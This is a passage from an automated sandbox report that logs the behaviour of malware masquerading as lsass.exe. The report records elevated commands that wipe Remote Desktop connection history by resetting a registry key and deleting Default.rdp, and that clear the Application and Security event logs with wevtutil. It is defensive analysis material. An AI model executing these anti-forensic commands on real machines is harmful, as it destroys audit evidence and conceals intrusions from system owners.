Fn
Data
Registry (2)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers - False 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xa70000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121867 True 1
Fn
Get Time type = Performance Ctr, time = 18000075538 True 1
Fn
Process #26: cmd.exe
60 0
»
Information Value
ID #26
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa7c
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A80
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\reg.exe os_pid = 0xa94, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a280000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121992 True 1
Fn
Get Time type = Performance Ctr, time = 18012570674 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #27: reg.exe
36 0
»
Information Value
ID #27
File Name c:\windows\syswow64\reg.exe
Command Line reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa94
Parent PID 0xa7c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A98
Host Behavior
File (5)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 3
Fn
Write STD_OUTPUT_HANDLE size = 39 True 1
Fn
Data
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Create Key HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers - False 1
Fn
Write Value HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers size = 2, type = REG_SZ True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xeb0000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122086 True 1
Fn
Get Time type = Performance Ctr, time = 18022242410 True 1
Fn
Process #28: cmd.exe
61 0
»
Information Value
ID #28
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa9c
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AA0
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\attrib.exe os_pid = 0xab4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x49de0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122226 True 1
Fn
Get Time type = Performance Ctr, time = 18036366520 True 1
Fn
Environment (20)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = userprofile, result_out = C:\Users\5p5NrGJn0jS HALPmcxz True 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #29: attrib.exe
4 0
»
Information Value
ID #29
File Name c:\windows\syswow64\attrib.exe
Command Line attrib "C:\Users\5p5NrGJn0jS HALPmcxz\documents\Default.rdp" -s -h
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xab4
Parent PID 0xa9c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AB8
Host Behavior
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\attrib.exe base_address = 0x320000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122351 True 1
Fn
Get Time type = Performance Ctr, time = 18057190632 True 1
Fn
Process #30: cmd.exe
60 0
»
Information Value
ID #30
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:01, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xabc
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AC0
Host Behavior
File (18)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\documents\Default.rdp type = file_attributes False 2
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\documents type = file_attributes True 1
Fn
Get Info STD_ERROR_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Open STD_ERROR_HANDLE - True 3
Fn
Write STD_ERROR_HANDLE size = 68 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a470000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122476 True 1
Fn
Get Time type = Performance Ctr, time = 18069602529 True 1
Fn
Environment (12)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 4
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = userprofile, result_out = C:\Users\5p5NrGJn0jS HALPmcxz True 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Process #31: cmd.exe
61 0
»
Information Value
ID #31
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Application
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xad4
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AD8
Host Behavior
File (11)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info wevtutil.exe type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\wevtutil.exe os_pid = 0xaec, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a330000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122601 True 1
Fn
Get Time type = Performance Ctr, time = 18081733309 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #32: wevtutil.exe
0 0
»
Information Value
ID #32
File Name c:\windows\syswow64\wevtutil.exe
Command Line wevtutil.exe clear-log Application
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:00, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xaec
Parent PID 0xad4 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AF0
0x AF4
Process #33: cmd.exe
61 0
»
Information Value
ID #33
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log Security
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xaf8
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AFC
Host Behavior
File (11)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info wevtutil.exe type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
